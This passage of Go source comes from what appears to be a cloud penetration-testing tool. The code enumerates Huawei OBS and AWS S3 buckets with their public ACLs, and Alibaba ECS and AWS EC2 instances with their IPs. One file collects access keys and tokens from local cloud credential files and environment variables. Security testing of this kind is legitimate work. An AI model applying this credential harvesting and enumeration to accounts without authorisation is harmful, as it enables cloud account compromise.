136 | PrintTable(data, header, resourceType) 137 | } 138 | 139 | func PrintTable(data [][]string, header []string, resourceType string) { 140 | var td = cloud.TableData{Header: header, Body: data} 141 | if len(data) == 0 { 142 | log.Info(fmt.Sprintf("未发现 %s 资源,在默认情况下 CF 会使用缓存数据,您可以使用 --flushCache 命令获取实时数据。(No %s resources found, by default CF will use cached data, you can use --flushCache command to get live data.)", resourceType, resourceType)) 143 | } else { 144 | log.Info("找到缓存数据,以下为缓存数据结果,您可以加上 --flushCache 参数获取最新数据。(Find the cached data, the following is the result of the cached data, you can add the --flushCache parameter to get the latest data.)") 145 | Caption := fmt.Sprintf("%s 资源 (%s resources)", resourceType, resourceType) 146 | cloud.PrintTable(td, Caption) 147 | } 148 | } 149 | -------------------------------------------------------------------------------- /pkg/cloud/huawei/huaweiobs/obsls.go: -------------------------------------------------------------------------------- 1 | package huaweiobs 2 | 3 | import ( 4 | log "github.com/sirupsen/logrus" 5 | "github.com/teamssix/cf/pkg/cloud" 6 | "github.com/teamssix/cf/pkg/util" 7 | "github.com/teamssix/cf/pkg/util/cmdutil" 8 | "github.com/teamssix/cf/pkg/util/errutil" 9 | "github.com/teamssix/cf/pkg/util/pubutil" 10 | "strconv" 11 | ) 12 | 13 | var ( 14 | TimestampType = util.ReturnTimestampType("huawei", "obs") 15 | header = []string{"序号 (SN)", "名称 (Name)", "存储桶 ACL (Bucket ACL)", "对象数量 (Object Number)", "存储桶大小 (Bucket Size)", "区域 (Region)", "存储桶地址 (Bucket URL)"} 16 | ) 17 | 18 | func ListBuckets() []string { 19 | var buckets []string 20 | listBucketsResult, err := obsClient("all").ListBuckets(nil) 21 | errutil.HandleErr(err) 22 | for _, v := range listBucketsResult.Buckets { 23 | buckets = append(buckets, v.Name) 24 | } 25 | return buckets 26 | } 27 | 28 | func GetBucketRegion(bucketName string) string { 29 | bucketRegion, err := obsClient("all").GetBucketLocation(bucketName) 30 | errutil.HandleErr(err) 31 | return bucketRegion.Location 32 | } 33 | 34 | func GetBucketAcl(bucketName string) string { 35 | var ( 36 | bucketAclStr string 37 | read int 38 | write int 39 | readACP int 40 | writeACP int 41 | sum int 42 | ) 43 | bucketACL, err := obsClient("all").GetBucketAcl(bucketName) 44 | errutil.HandleErr(err) 45 | for _, v := range bucketACL.Grants { 46 | if v.Grantee.Type == "Group" && v.Grantee.URI == "http://acs.amazonaws.com/groups/global/AllUsers" { 47 | switch v.Permission { 48 | case "READ": 49 | read = 1 50 | case "WRITE": 51 | write = 2 52 | case "READ_ACP": 53 | readACP = 4 54 | case "WRITE_ACP": 55 | writeACP = 8 56 | } 57 | } 58 | } 59 | sum = read + write + readACP + writeACP 60 | switch sum { 61 | case 0: 62 | bucketAclStr = "私有 (Private)" 63 | case 1: 64 | bucketAclStr = "公共读 (Public Read)" 65 | case 2: 66 | bucketAclStr = "公共写 (Public Write)" 67 | case 3: 68 | bucketAclStr = "公共读写 (Public Read Write)" 69 | case 4: 70 | bucketAclStr = "ACL 公共读 (Bucket ACL Public Read)" 71 | case 5: 72 | bucketAclStr = "存储桶和 ACL 公共读 (Bucket and Bucket ACL are Public Read)" 73 | case 6: 74 | bucketAclStr = "存储桶公共写、ACL 公共读 (Bucket Public Write, Bucket ACL Public Read)" 75 | case 7: 76 | bucketAclStr = "存储桶公共写读写、ACL 公共读 (Bucket Public Read Write, Bucket ACL Public Read)" 77 | case 8: 78 | bucketAclStr = "ACL 公共写 (Bucket ACL Public Write)" 79 | case 9: 80 | bucketAclStr = "存储桶公共读、ACL 公共写 (Bucket Public Read, Bucket ACL Public Write)" 81 | case 10: 82 | bucketAclStr = "存储桶和 ACL 公共写 (Bucket and Bucket ACL are Public Write)" 83 | case 11: 84 | bucketAclStr = "存储桶公共读写、ACL 公共写 (Bucket Public Read Write, Bucket ACL Public Write)" 85 | case 12: 86 | bucketAclStr = "ACL 公共读写 (Bucket ACL Public Read Write)" 87 | case 13: 88 | bucketAclStr = "存储桶公共读、ACL 公共读写 (Bucket Public Read, Bucket ACL Public Read Write)" 89 | case 14: 90 | bucketAclStr = "存储桶公共写、ACL 公共读写 (Bucket Public Write, Bucket ACL Public Read Write)" 91 | case 15: 92 | bucketAclStr = "存储桶和 ACL 公共读写 (Bucket and Bucket ACL are Public Read Write)" 93 | } 94 | return bucketAclStr 95 | } 96 | 97 | func getBucketObjectSum(bucket string, region string, s3LsObjectNumber string) (string, string) { 98 | log.Infof("正在获取 %s 存储桶的数据 (Fetching data for %s bucket)", bucket, bucket) 99 | var ( 100 | objectsKeyNum string 101 | objectsSizeSum string 102 | n int64 103 | ) 104 | ListObjects(bucket, region, s3LsObjectNumber, "") 105 | objectsKeyNum = strconv.Itoa(len(objectsKey)) 106 | for _, v := range objectsSize { 107 | n += v 108 | } 109 | objectsSizeSum = pubutil.FormatFileSize(n) 110 | return objectsKeyNum, objectsSizeSum 111 | } 112 | 113 | func PrintBucketsListRealTime(region string, obsLsObjectNumber string) { 114 | var ( 115 | num int 116 | dataLen int 117 | ) 118 | buckets := ListBuckets() 119 | log.Infof("在全部区域下获取到 %d 条 obs Bucket 信息 (Find %d obs Bucket under all areas)", len(buckets), len(buckets)) 120 | var data = make([][]string, len(buckets)) 121 | for i, o := range buckets { 122 | SN := strconv.Itoa(i + 1) 123 | bucketRegion := GetBucketRegion(o) 124 | if region == bucketRegion { 125 | bucketACL := GetBucketAcl(o) 126 | objectsKeyNum, objectsSizeSum := getBucketObjectSum(o, region, obsLsObjectNumber) 127 | data[num] = []string{SN, o, bucketACL, objectsKeyNum, objectsSizeSum, region, "https://" + o + ".obs." + bucketRegion + ".myhuaweicloud.com"} 128 | num = num + 1 129 | dataLen = dataLen + 1 130 | } else if region == "all" { 131 | bucketACL := GetBucketAcl(o) 132 | objectsKeyNum, objectsSizeSum := getBucketObjectSum(o, bucketRegion, obsLsObjectNumber) 133 | data[num] = []string{SN, o, bucketACL, objectsKeyNum, objectsSizeSum, bucketRegion, "https://" + o + ".obs." + bucketRegion + ".myhuaweicloud.com"} 134 | dataLen = dataLen + 1 135 | } 136 | } 137 | var td = cloud.TableData{Header: header, Body: data} 138 | if dataLen == 0 { 139 | log.Info("没发现存储桶 (No Buckets Found)") 140 | } else { 141 | Caption := "OBS 资源 (OBS resources)" 142 | cloud.PrintTable(td, Caption) 143 | util.WriteTimestamp(TimestampType) 144 | } 145 | cmdutil.WriteCacheFile(td, "huawei", "obs", "all", "all") 146 | } 147 | 148 | func PrintBucketsListHistory(region string) { 149 | cmdutil.PrintOSSCacheFile(header, region, "huawei", "obs", "all") 150 | } 151 | 152 | func PrintBucketsList(region string, lsFlushCache bool, obsLsObjectNumber string) { 153 | if lsFlushCache { 154 | PrintBucketsListRealTime(region, obsLsObjectNumber) 155 | } else { 156 | oldTimestamp := util.ReadTimestamp(TimestampType) 157 | if oldTimestamp == 0 { 158 | PrintBucketsListRealTime(region, obsLsObjectNumber) 159 | } else if util.IsFlushCache(oldTimestamp) { 160 | PrintBucketsListRealTime(region, obsLsObjectNumber) 161 | } else { 162 | util.TimeDifference(oldTimestamp) 163 | PrintBucketsListHistory(region) 164 | } 165 | } 166 | } 167 | -------------------------------------------------------------------------------- /pkg/cloud/alibaba/aliecs/ecsls.go: -------------------------------------------------------------------------------- 1 | package aliecs 2 | 3 | import ( 4 | "encoding/json" 5 | "fmt" 6 | "strconv" 7 | 8 | "github.com/teamssix/cf/pkg/util/errutil" 9 | 10 | "github.com/aliyun/alibaba-cloud-sdk-go/sdk/requests" 11 | "github.com/aliyun/alibaba-cloud-sdk-go/services/ecs" 12 | log "github.com/sirupsen/logrus" 13 | "github.com/teamssix/cf/pkg/cloud" 14 | "github.com/teamssix/cf/pkg/util" 15 | "github.com/teamssix/cf/pkg/util/cmdutil" 16 | ) 17 | 18 | type Instances struct { 19 | InstanceId string 20 | InstanceName string 21 | OSName string 22 | OSType string 23 | Status string 24 | PrivateIpAddress string 25 | PublicIpAddress string 26 | RegionId string 27 | } 28 | 29 | var ( 30 | DescribeInstancesOut []Instances 31 | TimestampType = util.ReturnTimestampType("alibaba", "ecs") 32 | header = []string{"序号 (SN)", "实例 ID (Instance ID)", "实例名称 (Instance Name)", "系统名称 (OS Name)", "系统类型 (OS Type)", "状态 (Status)", "私有 IP (Private IP)", "公网 IP (Public IP)", "区域 ID (Region ID)"} 33 | ) 34 | 35 | func DescribeInstances(region string, running bool, SpecifiedInstanceID string, NextToken string) []Instances { 36 | var response *ecs.DescribeInstancesResponse 37 | request := ecs.CreateDescribeInstancesRequest() 38 | request.PageSize = requests.NewInteger(100) 39 | if NextToken != "" { 40 | request.NextToken = NextToken 41 | } 42 | request.Scheme = "https" 43 | if running == true { 44 | request.Status = "Running" 45 | } 46 | if SpecifiedInstanceID != "all" { 47 | request.InstanceIds = fmt.Sprintf("[\"%s\"]", SpecifiedInstanceID) 48 | } 49 | log.Infof("正在 %s 区域中查找实例 (Looking for instances in the %s region)", region, region) 50 | response, err := ECSClient(region).DescribeInstances(request) 51 | errutil.HandleErr(err) 52 | InstancesList := response.Instances.Instance 53 | if len(InstancesList) != 0 { 54 | log.Infof("在 %s 区域下找到 %d 个实例 (Found %d instances in %s region)", region, len(InstancesList), len(InstancesList), region) 55 | for _, i := range InstancesList { 56 | // When the instance has multiple IPs, it is presented in a different format. 57 | var PrivateIpAddressList []string 58 | var PublicIpAddressList []string 59 | var PrivateIpAddress string 60 | var PublicIpAddress string 61 | for _, m := range i.NetworkInterfaces.NetworkInterface { 62 | for _, n := range m.PrivateIpSets.PrivateIpSet { 63 | PrivateIpAddressList = append(PrivateIpAddressList, n.PrivateIpAddress) 64 | } 65 | } 66 | a, _ := json.Marshal(PrivateIpAddressList) 67 | 68 | if len(PrivateIpAddressList) == 1 { 69 | PrivateIpAddress = PrivateIpAddressList[0] 70 | } else { 71 | PrivateIpAddress = string(a) 72 | } 73 | 74 | PublicIpAddressList = i.PublicIpAddress.IpAddress 75 | b, _ := json.Marshal(PublicIpAddressList) 76 | if len(PublicIpAddressList) == 1 { 77 | PublicIpAddress = i.PublicIpAddress.IpAddress[0] 78 | } else { 79 | PublicIpAddress = string(b) 80 | } 81 | obj := Instances{ 82 | InstanceId: i.InstanceId, 83 | InstanceName: i.InstanceName, 84 | OSName: i.OSName, 85 | OSType: i.OSType, 86 | Status: i.Status, 87 | PrivateIpAddress: PrivateIpAddress, 88 | PublicIpAddress: PublicIpAddress, 89 | RegionId: i.RegionId, 90 | } 91 | DescribeInstancesOut = append(DescribeInstancesOut, obj) 92 | } 93 | } 94 | NextToken = response.NextToken 95 | if NextToken != "" { 96 | log.Tracef("Next Token: %s", NextToken) 97 | _ = DescribeInstances(region, running, SpecifiedInstanceID, NextToken) 98 | } 99 | return DescribeInstancesOut 100 | } 101 | 102 | func ReturnInstancesList(region string, running bool, specifiedInstanceID string, ecsLsAllRegions bool) []Instances { 103 | var InstancesList []Instances 104 | var Instance []Instances 105 | if region == "all" { 106 | for _, j := range GetECSRegions(ecsLsAllRegions) { 107 | region := j.RegionId 108 | Instance = DescribeInstances(region, running, specifiedInstanceID, "") 109 | DescribeInstancesOut = nil 110 | for _, i := range Instance { 111 | InstancesList = append(InstancesList, i) 112 | } 113 | } 114 | } else { 115 | InstancesList = DescribeInstances(region, running, specifiedInstanceID, "") 116 | } 117 | return InstancesList 118 | } 119 | 120 | func PrintInstancesListRealTime(region string, running bool, specifiedInstanceID string, ecsLsAllRegions bool) { 121 | InstancesList := ReturnInstancesList(region, running, specifiedInstanceID, ecsLsAllRegions) 122 | var data = make([][]string, len(InstancesList)) 123 | for i, o := range InstancesList { 124 | SN := strconv.Itoa(i + 1) 125 | data[i] = []string{SN, o.InstanceId, o.InstanceName, o.OSName, o.OSType, o.Status, o.PrivateIpAddress, o.PublicIpAddress, o.RegionId} 126 | } 127 | var td = cloud.TableData{Header: header, Body: data} 128 | if len(data) == 0 { 129 | log.Info("未发现 ECS 资源,可能是因为当前访问密钥权限不够 (No ECS instances found, Probably because the current Access Key do not have enough permissions)") 130 | } else { 131 | Caption := "ECS 资源 (ECS resources)" 132 | cloud.PrintTable(td, Caption) 133 | util.WriteTimestamp(TimestampType) 134 | } 135 | cmdutil.WriteCacheFile(td, "alibaba", "ecs", region, specifiedInstanceID) 136 | } 137 | 138 | func PrintInstancesListHistory(region string, running bool, specifiedInstanceID string) { 139 | cmdutil.PrintECSCacheFile(header, region, specifiedInstanceID, "alibaba", "ECS", running) 140 | } 141 | 142 | func PrintInstancesList(region string, running bool, specifiedInstanceID string, ecsFlushCache bool, ecsLsAllRegions bool) { 143 | if ecsFlushCache { 144 | PrintInstancesListRealTime(region, running, specifiedInstanceID, ecsLsAllRegions) 145 | } else { 146 | oldTimestamp := util.ReadTimestamp(TimestampType) 147 | if oldTimestamp == 0 { 148 | PrintInstancesListRealTime(region, running, specifiedInstanceID, ecsLsAllRegions) 149 | } else if util.IsFlushCache(oldTimestamp) { 150 | PrintInstancesListRealTime(region, running, specifiedInstanceID, ecsLsAllRegions) 151 | } else { 152 | util.TimeDifference(oldTimestamp) 153 | PrintInstancesListHistory(region, running, specifiedInstanceID) 154 | } 155 | } 156 | } 157 | -------------------------------------------------------------------------------- /pkg/cloud/aws/awss3/s3ls.go: -------------------------------------------------------------------------------- 1 | package awss3 2 | 3 | import ( 4 | "context" 5 | "strconv" 6 | 7 | "github.com/teamssix/cf/pkg/util/pubutil" 8 | 9 | "github.com/aws/aws-sdk-go/service/s3/s3manager" 10 | 11 | "github.com/aws/aws-sdk-go/aws" 12 | "github.com/aws/aws-sdk-go/service/s3" 13 | log "github.com/sirupsen/logrus" 14 | "github.com/teamssix/cf/pkg/cloud" 15 | "github.com/teamssix/cf/pkg/util" 16 | "github.com/teamssix/cf/pkg/util/cmdutil" 17 | "github.com/teamssix/cf/pkg/util/errutil" 18 | ) 19 | 20 | var ( 21 | TimestampType = util.ReturnTimestampType("aws", "s3") 22 | header = []string{"序号 (SN)", "名称 (Name)", "存储桶 ACL (Bucket ACL)", "对象数量 (Object Number)", "存储桶大小 (Bucket Size)", "区域 (Region)", "存储桶地址 (Bucket URL)"} 23 | ) 24 | 25 | func ListBuckets() []string { 26 | var buckets []string 27 | input := &s3.ListBucketsInput{} 28 | svc := S3Client("all") 29 | result, err := svc.ListBuckets(input) 30 | errutil.HandleErr(err) 31 | 32 | for _, v := range result.Buckets { 33 | buckets = append(buckets, *v.Name) 34 | } 35 | return buckets 36 | } 37 | 38 | func GetBucketRegion(bucket string) string { 39 | region, err := s3manager.GetBucketRegionWithClient(context.Background(), S3Client("all"), bucket) 40 | errutil.HandleErr(err) 41 | return region 42 | } 43 | 44 | func FindBucketAcl(bucket string, region string) string { 45 | var ( 46 | bucketACL string 47 | read int 48 | write int 49 | readACP int 50 | writeACP int 51 | sum int 52 | ) 53 | input := &s3.GetBucketAclInput{ 54 | Bucket: aws.String(bucket), 55 | } 56 | svc := S3Client(region) 57 | result, err := svc.GetBucketAcl(input) 58 | errutil.HandleErr(err) 59 | for _, v := range result.Grants { 60 | if *v.Grantee.Type == "Group" && *v.Grantee.URI == "http://acs.amazonaws.com/groups/global/AllUsers" { 61 | switch *v.Permission { 62 | case "READ": 63 | read = 1 64 | case "WRITE": 65 | write = 2 66 | case "READ_ACP": 67 | readACP = 4 68 | case "WRITE_ACP": 69 | writeACP = 8 70 | } 71 | } 72 | } 73 | sum = read + write + readACP + writeACP 74 | switch sum { 75 | case 0: 76 | bucketACL = "私有 (Private)" 77 | case 1: 78 | bucketACL = "公共读 (Public Read)" 79 | case 2: 80 | bucketACL = "公共写 (Public Write)" 81 | case 3: 82 | bucketACL = "公共读写 (Public Read Write)" 83 | case 4: 84 | bucketACL = "ACL 公共读 (Bucket ACL Public Read)" 85 | case 5: 86 | bucketACL = "存储桶和 ACL 公共读 (Bucket and Bucket ACL are Public Read)" 87 | case 6: 88 | bucketACL = "存储桶公共写、ACL 公共读 (Bucket Public Write, Bucket ACL Public Read)" 89 | case 7: 90 | bucketACL = "存储桶公共写读写、ACL 公共读 (Bucket Public Read Write, Bucket ACL Public Read)" 91 | case 8: 92 | bucketACL = "ACL 公共写 (Bucket ACL Public Write)" 93 | case 9: 94 | bucketACL = "存储桶公共读、ACL 公共写 (Bucket Public Read, Bucket ACL Public Write)" 95 | case 10: 96 | bucketACL = "存储桶和 ACL 公共写 (Bucket and Bucket ACL are Public Write)" 97 | case 11: 98 | bucketACL = "存储桶公共读写、ACL 公共写 (Bucket Public Read Write, Bucket ACL Public Write)" 99 | case 12: 100 | bucketACL = "ACL 公共读写 (Bucket ACL Public Read Write)" 101 | case 13: 102 | bucketACL = "存储桶公共读、ACL 公共读写 (Bucket Public Read, Bucket ACL Public Read Write)" 103 | case 14: 104 | bucketACL = "存储桶公共写、ACL 公共读写 (Bucket Public Write, Bucket ACL Public Read Write)" 105 | case 15: 106 | bucketACL = "存储桶和 ACL 公共读写 (Bucket and Bucket ACL are Public Read Write)" 107 | } 108 | return bucketACL 109 | } 110 | 111 | func getBucketObjectSum(bucket string, region string, s3LsObjectNumber string) (string, string) { 112 | log.Infof("正在获取 %s 存储桶的数据 (Fetching data for %s bucket)", bucket, bucket) 113 | var ( 114 | objectsKeyNum string 115 | objectsSizeSum string 116 | n int64 117 | ) 118 | ListObjectsV2(bucket, region, s3LsObjectNumber, "") 119 | objectsKeyNum = strconv.Itoa(len(objectsKey)) 120 | for _, v := range objectsSize { 121 | n += v 122 | } 123 | objectsSizeSum = pubutil.FormatFileSize(n) 124 | return objectsKeyNum, objectsSizeSum 125 | } 126 | 127 | func PrintBucketsListRealTime(region string, s3LsObjectNumber string) { 128 | var ( 129 | num int 130 | dataLen int 131 | ) 132 | buckets := ListBuckets() 133 | log.Infof("在全部区域下获取到 %d 条 S3 Bucket 信息 (Find %d S3 Bucket under all areas)", len(buckets), len(buckets)) 134 | var data = make([][]string, len(buckets)) 135 | for i, o := range buckets { 136 | SN := strconv.Itoa(i + 1) 137 | bucketRegion := GetBucketRegion(o) 138 | if region == bucketRegion { 139 | bucketACL := FindBucketAcl(o, region) 140 | objectsKeyNum, objectsSizeSum := getBucketObjectSum(o, region, s3LsObjectNumber) 141 | data[num] = []string{SN, o, bucketACL, objectsKeyNum, objectsSizeSum, region, "https://" + o + ".s3." + bucketRegion + ".amazonaws.com"} 142 | num = num + 1 143 | dataLen = dataLen + 1 144 | } else if region == "all" { 145 | bucketACL := FindBucketAcl(o, bucketRegion) 146 | objectsKeyNum, objectsSizeSum := getBucketObjectSum(o, bucketRegion, s3LsObjectNumber) 147 | data[i] = []string{SN, o, bucketACL, objectsKeyNum, objectsSizeSum, bucketRegion, "https://" + o + ".s3." + bucketRegion + ".amazonaws.com"} 148 | dataLen = dataLen + 1 149 | } 150 | } 151 | var td = cloud.TableData{Header: header, Body: data} 152 | if dataLen == 0 { 153 | log.Info("没发现存储桶 (No Buckets Found)") 154 | } else { 155 | Caption := "S3 资源 (S3 resources)" 156 | cloud.PrintTable(td, Caption) 157 | util.WriteTimestamp(TimestampType) 158 | } 159 | cmdutil.WriteCacheFile(td, "aws", "s3", "all", "all") 160 | } 161 | 162 | func PrintBucketsListHistory(region string) { 163 | cmdutil.PrintOSSCacheFile(header, region, "aws", "s3", "all") 164 | } 165 | 166 | func PrintBucketsList(region string, lsFlushCache bool, s3LsObjectNumber string) { 167 | if lsFlushCache { 168 | PrintBucketsListRealTime(region, s3LsObjectNumber) 169 | } else { 170 | oldTimestamp := util.ReadTimestamp(TimestampType) 171 | if oldTimestamp == 0 { 172 | PrintBucketsListRealTime(region, s3LsObjectNumber) 173 | } else if util.IsFlushCache(oldTimestamp) { 174 | PrintBucketsListRealTime(region, s3LsObjectNumber) 175 | } else { 176 | util.TimeDifference(oldTimestamp) 177 | PrintBucketsListHistory(region) 178 | } 179 | } 180 | } 181 | -------------------------------------------------------------------------------- /pkg/util/cmdutil/findConfig.go: -------------------------------------------------------------------------------- 1 | package cmdutil 2 | 3 | import ( 4 | "github.com/bitly/go-simplejson" 5 | "github.com/teamssix/cf/pkg/cloud" 6 | "github.com/teamssix/cf/pkg/util/pubutil" 7 | "io/ioutil" 8 | "os" 9 | "path" 10 | "path/filepath" 11 | "strings" 12 | ) 13 | 14 | func findAlibabaConfig() []cloud.Config { 15 | var credList []cloud.Config 16 | // 1. credential file 17 | alibabaConfigFile := filepath.Join(pubutil.GetUserDir(), "/.aliyun/config.json") 18 | isTrue, content := pubutil.ReadFile(alibabaConfigFile) 19 | if isTrue { 20 | contentJson, _ := simplejson.NewJson([]byte(content)) 21 | contentJsonArray, _ := contentJson.Get("profiles").Array() 22 | for _, v := range contentJsonArray { 23 | cred := cloud.Config{} 24 | contentResult, _ := v.(map[string]interface{}) 25 | cred.Alias = "local_" + contentResult["name"].(string) 26 | cred.AccessKeyId = contentResult["access_key_id"].(string) 27 | cred.AccessKeySecret = contentResult["access_key_secret"].(string) 28 | cred.STSToken = contentResult["sts_token"].(string) 29 | cred.Provider = alibaba 30 | if cred.AccessKeyId != "" { 31 | credList = append(credList, cred) 32 | } 33 | } 34 | } 35 | // 2. environment variables 36 | cred := cloud.Config{} 37 | cred.Provider = alibaba 38 | cred.Alias = "local_env" 39 | cred.AccessKeyId = os.Getenv("ALIBABACLOUD_ACCESS_KEY_ID") 40 | cred.AccessKeySecret = os.Getenv("ALIBABACLOUD_ACCESS_KEY_SECRET") 41 | cred.STSToken = os.Getenv("SECURITY_TOKEN") 42 | if cred.AccessKeyId != "" { 43 | credList = append(credList, cred) 44 | } 45 | return credList 46 | } 47 | 48 | func findTencentConfig() []cloud.Config { 49 | var credList []cloud.Config 50 | // 1. credential file 51 | tencentConfigPath := filepath.Join(pubutil.GetUserDir(), "/.tccli") 52 | tencentConfigFiles, _ := ioutil.ReadDir(tencentConfigPath) 53 | for _, f := range tencentConfigFiles { 54 | tencentConfigName := f.Name() 55 | if path.Ext(tencentConfigName) == ".credential" { 56 | tencentConfigFile := filepath.Join(tencentConfigPath, tencentConfigName) 57 | isTrue, content := pubutil.ReadFile(tencentConfigFile) 58 | if isTrue { 59 | contentJson, _ := simplejson.NewJson([]byte(content)) 60 | cred := cloud.Config{} 61 | cred.Alias = "local_" + strings.TrimSuffix(tencentConfigName, ".credential") 62 | cred.AccessKeyId = contentJson.Get("secretId").MustString() 63 | cred.AccessKeySecret = contentJson.Get("secretKey").MustString() 64 | cred.Provider = tencent 65 | if cred.AccessKeyId != "" { 66 | credList = append(credList, cred) 67 | } 68 | } 69 | } 70 | } 71 | // 2. environment variables 72 | cred := cloud.Config{} 73 | cred.Provider = tencent 74 | cred.Alias = "local_env" 75 | cred.AccessKeyId = os.Getenv("TENCENTCLOUD_SECRET_ID") 76 | cred.AccessKeySecret = os.Getenv("TENCENTCLOUD_SECRET_KEY") 77 | if cred.AccessKeyId != "" { 78 | credList = append(credList, cred) 79 | } 80 | return credList 81 | } 82 | 83 | func findAWSConfig() []cloud.Config { 84 | var credList []cloud.Config 85 | // 1. credential file 86 | awsConfigFile := filepath.Join(pubutil.GetUserDir(), "/.aws/credentials") 87 | isTrue, content := pubutil.ReadFile(awsConfigFile) 88 | if isTrue { 89 | for _, v := range strings.Split(content, "[") { 90 | cred := cloud.Config{} 91 | if len(pubutil.StringClean(v)) != 0 { 92 | for _, j := range strings.Split(v, "\n") { 93 | if strings.Contains(j, "]") { 94 | cred.Alias = "local_" + strings.Replace(j, "]", "", -1) 95 | } else if strings.Contains(j, "aws_access_key_id") { 96 | cred.AccessKeyId = pubutil.StringClean(strings.Split(j, "=")[1]) 97 | } else if strings.Contains(j, "aws_secret_access_key") { 98 | cred.AccessKeySecret = pubutil.StringClean(strings.Split(j, "=")[1]) 99 | } else if strings.Contains(j, "aws_session_token") { 100 | cred.STSToken = pubutil.StringClean(strings.Split(j, "=")[1]) 101 | } 102 | } 103 | cred.Provider = aws 104 | if cred.AccessKeyId != "" { 105 | credList = append(credList, cred) 106 | } 107 | } 108 | } 109 | } 110 | // 2. environment variables 111 | cred := cloud.Config{} 112 | cred.Provider = aws 113 | cred.Alias = "local_env" 114 | cred.AccessKeyId = os.Getenv("AWS_ACCESS_KEY_ID") 115 | cred.AccessKeySecret = os.Getenv("AWS_SECRET_ACCESS_KEY") 116 | cred.STSToken = os.Getenv("AWS_SESSION_TOKEN") 117 | if cred.AccessKeyId != "" { 118 | credList = append(credList, cred) 119 | } 120 | return credList 121 | } 122 | 123 | func findHuaweiConfig() []cloud.Config { 124 | var credList []cloud.Config 125 | // 1. credential file 126 | huaweiConfigFile := filepath.Join(pubutil.GetUserDir(), "/.huaweicloud/credentials") 127 | isTrue, content := pubutil.ReadFile(huaweiConfigFile) 128 | if isTrue { 129 | for _, v := range strings.Split(content, "[") { 130 | cred := cloud.Config{} 131 | if len(pubutil.StringClean(v)) != 0 { 132 | for _, j := range strings.Split(v, "\n") { 133 | if strings.Contains(j, "]") { 134 | cred.Alias = "local_" + strings.Replace(j, "]", "", -1) 135 | } else if strings.Contains(j, "ak") { 136 | cred.AccessKeyId = pubutil.StringClean(strings.Split(j, "=")[1]) 137 | } else if strings.Contains(j, "sk") { 138 | cred.AccessKeySecret = pubutil.StringClean(strings.Split(j, "=")[1]) 139 | } else if strings.Contains(j, "security_token") { 140 | cred.STSToken = pubutil.StringClean(strings.Split(j, "=")[1]) 141 | } 142 | } 143 | cred.Provider = huawei 144 | if cred.AccessKeyId != "" { 145 | credList = append(credList, cred) 146 | } 147 | } 148 | } 149 | } 150 | // 2. environment variables 151 | cred := cloud.Config{} 152 | cred.Provider = huawei 153 | cred.Alias = "local_env_sdk" 154 | cred.AccessKeyId = os.Getenv("HUAWEICLOUD_SDK_AK") 155 | cred.AccessKeySecret = os.Getenv("HUAWEICLOUD_SDK_SK") 156 | cred.STSToken = os.Getenv("HUAWEICLOUD_SDK_SECURITY_TOKEN") 157 | if cred.AccessKeyId != "" { 158 | credList = append(credList, cred) 159 | } 160 | 161 | cred = cloud.Config{} 162 | cred.Provider = huawei 163 | cred.Alias = "local_env_obs" 164 | cred.AccessKeyId = os.Getenv("OBS_ACCESS_KEY_ID") 165 | cred.AccessKeySecret = os.Getenv("OBS_SECRET_ACCESS_KEY") 166 | cred.STSToken = os.Getenv("OBS_SECURITY_TOKEN") 167 | if cred.AccessKeyId != "" { 168 | credList = append(credList, cred) 169 | } 170 | return credList 171 | } 172 | -------------------------------------------------------------------------------- /pkg/cloud/aws/awsec2/ec2ls.go: -------------------------------------------------------------------------------- 1 | package awsec2 2 | 3 | import ( 4 | "github.com/aws/aws-sdk-go/service/ec2" 5 | "strconv" 6 | 7 | log "github.com/sirupsen/logrus" 8 | "github.com/teamssix/cf/pkg/cloud" 9 | "github.com/teamssix/cf/pkg/util" 10 | "github.com/teamssix/cf/pkg/util/cmdutil" 11 | 12 | "github.com/teamssix/cf/pkg/util/errutil" 13 | ) 14 | 15 | type Instances struct { 16 | InstanceId string 17 | InstanceName string 18 | OSName string 19 | OSType string 20 | Status string 21 | PrivateIpAddress string 22 | PublicIpAddress string 23 | RegionId string 24 | } 25 | 26 | var ( 27 | DescribeInstancesOut []Instances 28 | TimestampType = util.ReturnTimestampType("aws", "ec2") 29 | header = []string{"序号 (SN)", "实例 ID (Instance ID)", "实例名称 (Instance Name)", "系统名称 (OS Name)", "系统类型 (OS Type)", "状态 (Status)", "私有 IP (Private IP)", "公网 IP (Public IP)", "区域 ID (Region ID)"} 30 | ) 31 | 32 | func DescribeInstances(region string, running bool, SpecifiedInstanceID string, NextToken string) []Instances { 33 | var ( 34 | err error 35 | //InstancesList []Instances 36 | result *ec2.DescribeInstancesOutput 37 | svc *ec2.EC2 38 | ) 39 | log.Infof("正在 %s 区域中查找实例 (Looking for instances in the %s region)", region, region) 40 | if region == "all" { 41 | svc = EC2Client("all") 42 | } else { 43 | svc = EC2Client(region) 44 | } 45 | if NextToken == "" { 46 | result, err = svc.DescribeInstances(nil) 47 | } else { 48 | DescribeInstancesInput := ec2.DescribeInstancesInput{ 49 | NextToken: &NextToken, 50 | } 51 | result, err = svc.DescribeInstances(&DescribeInstancesInput) 52 | } 53 | 54 | errutil.HandleErr(err) 55 | for _, i := range result.Reservations { 56 | InstancesList := i.Instances 57 | if len(InstancesList) != 0 { 58 | for _, i := range InstancesList { 59 | var ( 60 | InstanceName string 61 | PrivateIpAddress string 62 | PublicIpAddress string 63 | ) 64 | for _, tag := range i.Tags { 65 | if *tag.Key == "Name" { 66 | InstanceName = *tag.Value 67 | } 68 | } 69 | if i.PrivateIpAddress == nil { 70 | PrivateIpAddress = "" 71 | } else { 72 | PrivateIpAddress = *i.PrivateIpAddress 73 | } 74 | 75 | if i.PublicIpAddress == nil { 76 | PublicIpAddress = "" 77 | } else { 78 | PublicIpAddress = *i.PublicIpAddress 79 | } 80 | 81 | obj := Instances{ 82 | InstanceId: *i.InstanceId, 83 | InstanceName: InstanceName, 84 | OSName: *i.PlatformDetails, 85 | OSType: *i.InstanceType, 86 | Status: *i.State.Name, 87 | PrivateIpAddress: PrivateIpAddress, 88 | PublicIpAddress: PublicIpAddress, 89 | RegionId: *i.Placement.AvailabilityZone, 90 | } 91 | DescribeInstancesOut = append(DescribeInstancesOut, obj) 92 | } 93 | } 94 | } 95 | if NextToken != "" { 96 | NextToken = *result.NextToken 97 | log.Tracef("Next Token: %s", NextToken) 98 | _ = DescribeInstances(region, running, SpecifiedInstanceID, NextToken) 99 | } 100 | return DescribeInstancesOut 101 | } 102 | 103 | func ReturnInstancesList(region string, running bool, specifiedInstanceID string, ec2LsAllRegions bool) []Instances { 104 | var ( 105 | InstancesList []Instances 106 | Instance []Instances 107 | instanceNum int 108 | ) 109 | if region == "all" { 110 | for _, j := range GetEC2Regions() { 111 | instanceNum = 